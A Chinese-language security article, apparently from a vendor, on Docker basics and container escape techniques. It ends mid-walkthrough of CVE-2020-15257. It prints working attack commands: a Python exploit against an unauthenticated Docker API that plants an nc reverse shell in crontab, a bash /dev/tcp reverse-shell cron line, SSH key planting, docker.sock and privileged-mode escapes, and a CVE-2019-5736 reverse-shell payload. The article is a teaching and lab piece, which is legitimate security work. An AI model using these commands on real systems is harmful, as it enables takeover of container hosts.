【容器安全防线】Docker攻击方式与防范技术探究

青藤云安全

让安全之光照亮互联网的每个角落

什么是Docker？

Docker 是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中，然后发布到任何流行的Linux或Windows操作系统的机器上，也可以实现虚拟化。容器是完全使用沙箱机制，相互之间不会有任何接口。

一个完整的Docker有以下几个部分组成：

1、DockerClient客户端

2、Docker Daemon守护进程

3、Docker Image镜像

4、DockerContainer容器

Docker架构

Docker 使用客户端-服务器 (C/S) 架构模式，使用远程API来管理和创建Docker容器。Docker 容器通过 Docker 镜像来创建。容器与镜像的关系类似于面向对象编程中的对象与类。

Docker采用 C/S架构 Docker daemon 作为服务端接受来自客户的请求，并处理这些请求（创建、运行、分发容器）。客户端和服务端既可以运行在一个机器上，也可通过 socket 或者RESTful API 来进行通信。

Docker daemon 一般在宿主主机后台运行，等待接收来自客户端的消息。 Docker 客户端则为用户提供一系列可执行命令，用户用这些命令实现跟 Docker daemon 交互。

Docker常见命令

列出镜像列表

docker images

列出容器列表

docker ps -a

停止和删除容器

docker stop/rm [CONTAINER ID]

删除镜像

docker rmi [IMAGE ID]

PS:删除镜像时，需要先停止运行的容器

查询镜像

docker search [NAME]

获取镜像

docker pull [NAME]

交互式方法启动镜像

docker run -it [REPOSITORY] /bin/bash

访问容器

docker exec -it [CONTAINER ID] /bin/bash

退出容器

exit/ctrl+p+q

如何判断当前机器是否为Docker容器环境

进程数很少

常见的一些命令无法使用

查看根目录下是否存在

.dockerenv文件

docker环境下：ls -alh /.dockerenv

非docker环境，没有.dockerenv文件

利用

cat /proc/1/cgroup 是否存在docker相关信息

通过

mount查看挂载磁盘是否存在docker相关信息

Docker攻击手法

Docker危险配置引起的逃逸

安全往往在痛定思痛时得到发展。在这些年的迭代中，容器社区一直在努力将"纵深防御"、"最小权限"等理念和原则落地。例如，Docker已经将容器运行时的Capabilities黑名单机制改为如今的默认禁止所有Capabilities，再以白名单方式赋予容器运行所需的最小权限。然而，无论是细粒度权限控制还是其他安全机制，用户都可以通过修改容器环境配置或在运行容器时指定参数来缩小或扩大约束。如果用户为不完全受控的容器提供了某些危险的配置参数，就为攻击者提供了一定程度的逃逸可能性，有的时候用户才是安全最大的隐患。

docker daemon api 未授权访问漏洞

Vulhub提供了docker daemon api 未授权访问漏洞的漏洞环境

https:// github.com/vulhub/vulhu b/tree/master/docker/unauthorized-rce

编译及启动漏洞环境:

docker-compose build

docker-compose up -d

环境启动后，docker daemon api的端口为2375端口

利用方法是，我们随意启动一个容器，并将宿主机的/etc目录挂载到容器中，便可以任意读写文件了。我们可以将命令写入crontab配置文件，进行反弹shell。

反弹shell的exp:

import docker

client = docker.DockerClient(base_url=' http:// your-ip : 2375/')

data = client.containers.run('alpine:latest', r'''sh - c "echo '* * * * * / usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

也可直接利用github上的exp进行攻击

https:// github.com/Tycx2ry/dock er_api_vul

修复方案

1.关闭2375端口（尤其是公网情况下一定要禁用此端口）

2.在防火墙上配置禁止外网访问2375端口

privileged特权模式启动docker

启动Docker容器。使用--privileged参数时，容器可以完全访问所有设备，并且不受seccomp，AppArmor和Linux capabilities的限制。

利用特权模式启动一个docker容器

docker run -it --privileged centos /bin/bash

查看当前容器是否是特权容器

cat /proc/1/status | grep Cap

如果查询的值是0000000xffffffff，可以说明当前容器是特权容器。

查看磁盘文件,发现宿主机设备为/dev/sda1

fdisk -l

在特权模式下，直接在容器内挂载宿主机磁盘，接着切换根目录。

新建一个目录: mkdir /mb

挂载宿主机磁盘到新建的目录: mount /dev/sda2 /mb

切换根目录: chroot /mb

chroot是change root，改变程序执行时所参考的根目录位置，chroot可以增加系统的安全性，限制使用者能够做的事。

创建计划任务，反弹宿主机Shell

echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.58.138/6666 0>&1' >> /mb/var/spool/cron/crontabs/root

挂载宿主机的root目录到容器，写入SSH私钥登录

docker run -it -v /root:/root centos /bin/bash

mkdir /root/.ssh

cat id_rsa.pub >> /root/.ssh/authorized_keys

相关启动参数存在的安全问题：

Docker 通过Linux namespace实现6项资源隔离，包括主机名、用户权限、文件系统、网络、进程号、进程间通讯。但部分启动参数授予容器权限较大的权限，从而打破了资源隔离的界限。

--cap-add=SYS_ADMIN 启动时，允许执行mount特权操作，需获得资源挂载进行利用。

--net=host 启动时，绕过Network Namespace

--pid=host 启动时，绕过PID Namespace

--ipc=host 启动时，绕过IPC Namespace

危险挂载docker.sock到容器内部

在docker容器中调用和执行宿主机的docker，将docker宿主机的docker文件和docker.sock文件挂载到容器中，可以理解为套娃。

docker run --rm -it \

-v /var/run/docker.sock:/var/run/docker.sock \

-v /usr/bin/docker:/usr/bin/docker \

ubuntu \

/bin/bash

通过find在容器中查找docker.sock

find / -name docker.sock

查看宿主机docker信息

docker -H unix://var/run/docker.sock info

运行一个新的容器并挂载宿主机根路径

docker -H unix:///var/run/docker.sock run -it -v /:/mb ubuntu /bin/bash

在新容器的/mb 目录下，就可以访问到宿主机的全部资源

ls -al /mb

在新容器内执行chroot将根目录切换到挂载的宿主机根目录

chroot /mb

成功逃逸到宿主机。

Docker程序漏洞导致的逃逸

Shocker攻击

漏洞描述

从Docker容器逃逸并读取到主机某个目录的文件内容。Shocker攻击的关键是执行了系统调用open_by_handle_at函数，Linux手册中特别提到调用open_by_handle_at函数需要具备CAP_DAC_READ_SEARCH能力，而Docker1.0版本对Capability使用黑名单管理策略，并且没有限制CAP_DAC_READ_SEARCH能力，因而引发了容器逃逸的风险。

漏洞影响版本

Docker版本 1.0，存在于 Docker 1.0 之前的绝大多数版本(目前基本上不会存在了)

POC

https:// github.com/gabrtv/shock er

runC容器逃逸漏洞（CVE-2019-5736）

漏洞描述

Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6，因此允许攻击者重写宿主机上的runc 二进制文件，攻击者可以在宿主机上以root身份执行命令。

漏洞影响版本

Docker版本 18.09.2，runc版本 1.0-rc6，一般情况下，可通过 docker 和docker -version查看当前版本情况。

POC

https:// github.com/Frichetten/C VE-2019-5736-PoC

攻击流程

1、漏洞环境搭建(Ubuntu 18.04)

自动化搭建

curl https:// gist.githubusercontent.com /thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

docker拉取镜像慢的话可以自行百度换源

2、下载poc并修改编译

git clone https:// github.com/Frichetten/C VE-2019-5736-PoC

修改paylod

vi main.go

payload = "#!/bin/bash \n bash -i >& /dev/tcp/ip/port 0>&1"

编译poc

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

需要提前安装golang-go和gccgo-go

3、复制编译好的poc到docker里

docker cp main 52fd26fd140f:/tmp

4、在docker里运行main文件

5、模拟管理员通过exec进入容器，触发payload

sudo docker exec -it 52fd26fd140f /bin/bash

6、成功获取宿主机反弹回来的shell

漏洞复现成功之后，docker容器将无法使用

Docker cp命令容器逃逸攻击漏洞（CVE-2019-14271）

漏洞描述

当Docker宿主机使用cp命令时，会调用辅助进程docker-tar，该进程没有被容器化，且会在运行时动态加载一些libnss*.so库。黑客可以通过在容器中替换libnss*.so等库，将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码，成功实现Docker逃逸，获得宿主机root权限。

漏洞影响版本

Docker 19.03.0

攻击流程

https:// unit42.paloaltonetworks.com /docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

Docker Build时的命令注入漏洞(CVE-2019-13139)

漏洞描述

攻击者能够提供或操纵“docker build”命令的构建路径将能够获得命令执行。 “docker build”处理远程 git URL 的方式存在问题，并导致命令注入到底层“git clone”命令中，导致代码在用户执行“docker build”命令的上下文中执行。

漏洞影响版本

Docker 18.09.4之前的版本

攻击流程

https:// staaldraad.github.io/po st/2019-07-16-cve-2019-13139-docker-build/

host模式容器逃逸漏洞(CVE-2020-15257)

漏洞描述

Containerd 是一个控制 runC 的守护进程，提供命令行客户端和API，用于在一个机器上管理容器。

在版本1.3.9之前和1.4.0~1.4.2的Containerd中，由于在网络模式为host的情况下，容器与宿主机共享一套Network namespace ，此时containerd-shim API暴露给了用户，而且访问控制仅仅验证了连接进程的有效UID为0，但没有限制对抽象Unix域套接字的访问，刚好在默认情况下，容器内部的进程是以root用户启动的。在两者的共同作用下，容器内部的进程就可以像主机中的containerd一样，连接containerd-shim监听的抽象Unix域套接字，调用containerd-shim提供的各种API，从而实现容器逃逸。

漏洞影响版本

containerd < 1.4.3

containerd < 1.3.9

攻击流程

1、漏洞环境搭建

使用ubuntu 18.04 + metarget进行搭建(使用非18.04的ubuntu镜像会出现错误)

git clone https:// github.com/brant-ruan/m etarget.git

pip3 insta ll -r requirements.txt

./metarget cnv install cve-2020-15257